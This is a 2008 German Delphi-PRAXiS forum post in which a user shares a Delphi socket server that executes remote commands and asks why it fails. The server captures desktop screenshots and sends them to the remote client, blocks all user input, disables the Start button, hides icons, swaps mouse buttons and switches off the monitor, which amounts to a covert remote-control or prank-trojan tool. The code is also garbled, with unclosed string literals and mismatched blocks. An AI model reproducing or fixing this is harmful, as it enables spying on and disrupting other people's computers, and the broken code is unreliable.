AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Programmierung allgemein Netzwerke Delphi Server nimmt keine Befehle mehr an...
Thema durchsuchen
Ansicht
Themen-Optionen

Server nimmt keine Befehle mehr an...

Ein Thema von FileOwner · begonnen am 1. Apr 2008 · letzter Beitrag vom 3. Apr 2008
Antwort Antwort
FileOwner

Registriert seit: 21. Feb 2008
21 Beiträge
 
#1

Re: Server nimmt keine Befehle mehr an...

  Alt 3. Apr 2008, 12:40
danke, aber der code stammte nicht von mir, ich probiers später mal aus


Edit: habs mal so geändert:

Delphi-Quellcode:
unit serve;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, Shellapi,mmsystem, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTCPServer,
  IdTCPServer, IdCmdTCPServer, tlhelp32, JPEG, strutils;

type
  TForm1 = class(TForm)
    Server: TServerSocket;
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
    dc: HDC;
  DestopWindowHandle: hWND;

 Bmp : TBitmap;
Jpeg : TJpegimage;
empfangen:string;

implementation

{$R *.dfm}

procedure GetProcessList(const aProcessList: TStrings);
var
  Snap: THandle;
  ProcessE: TProcessEntry32;
begin
  aProcessList.Clear;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  try
    ProcessE.dwSize := SizeOf(ProcessE);
    if Process32First(Snap, ProcessE) then
      Repeat
        aProcessList.Add(ProcessE.szExeFile);
      Until not Process32Next(Snap, ProcessE)
    else
      RaiseLastOSError;
  finally
    CloseHandle(Snap);
  end;
end;



 procedure SetStartBtnEnabled(const AEnabled: Boolean);
begin
  EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),
                            0,
                            'Button',
                            nil),
               AEnabled);
end;

  Function BlockInput(fBlock: boolean): boolean; stdcall;
             external 'user32.dll';

             procedure SwapMouseButtons(const ASwap: Boolean);
begin
  if ASwap then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1, Nil, 0)
  else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0, Nil, 0);

        end;

procedure ScreenShot(const Bitmap: TBitmap);
var
  DesktopDC: HDC;
begin
  DesktopDC := CreateDC('DISPLAY', nil, nil, nil);
  try
    Bitmap.PixelFormat := pfDevice;
    Bitmap.Width := Screen.Width;
    Bitmap.Height := Screen.Height;
    BitBlt(Bitmap.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
  finally
    DeleteDC(DesktopDC);
  end;
end;


var
sM : TMemoryStream;

procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
var exec:string;


begin
exec := Socket.ReceiveText;



 if leftstr(exec,length('Screenshot'))='Screenshotthen begin
    FreeAndNil(sM);
    Bmp:=TBitmap.Create;
    Jpeg:=TJpegImage.Create;
    sM:=TMemoryStream.Create;
        try
        ScreenShot(bmp);
       Jpeg.CompressionQuality:=strtoint(rightstr(exec,length(exec)-length('Screenshot')));
        Jpeg.Assign(Bmp);
        Jpeg.SaveToStream(sM);
        finally
        Jpeg.Free;
        Bmp.Free;

   Form1.Server.socket.SendText(IntToStr(sM.Size));


// Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
If exec='okthen begin
 Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);

    end;
    begin
//////////////////////////////

//Cd Laufwerk öffnen

if exec = 'cd_openthen begin
mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Self.Handle) end else

//CD Laufwerk schließen
if exec = 'cd_closethen begin
mciSendstring('SET CDAUDIO DOOR Closed WAIT', nil, 0, Self.Handle) end else

//Desktopfarbe umkehren
if exec = 'colorthen begin
    DestopWindowHandle := GetDesktopWindow;
    dc := GetWindowDC(DestopWindowHandle);
  try
    Invertrect(dc, Screen.DesktopRect);
  finally
    ReleaseDC(DestopWindowHandle, dc); end end else



//Monitor Anschalten
    if exec='monitor_onthen begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 0); end else

//Monitor Ausschalten
               if exec='monitor_offthen begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 1); end else

//Start Button ausschalten
  if exec='startbtn_0then begin
  SetStartBtnEnabled(false);
  end else

  //Start Button einschalten
  if exec='startbtn_1then begin
  SetStartBtnEnabled(true);
  end else

  //Icons ausblenden
   if exec='icons_offthen
   ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE) else

  //icons einblenden
   if exec='icons_onthen
   ShowWindow(FindWindow(nil,'Program Manager'),SW_Show)else

   //Eingabegeräte sperren

 if exec= 'block_1then BlockInput(true) else
   //Eingabegeräte freigeben
  if exec= 'block_0then BlockInput(false) else

  //Maustasten tauschen
  if exec= 'mouse_1then SwapMouseButtons(true) else
  //Maustasten zurücksetzen
    if exec= 'mouse_0then SwapMouseButtons(false) else





end;
end;
 end;
end;
end;
end.
hat aber leider nix gebracht
Wer aus dem 10. Stock springt, dem geht´s bis zum 1. auch recht gut...
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 01:27 Uhr.
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz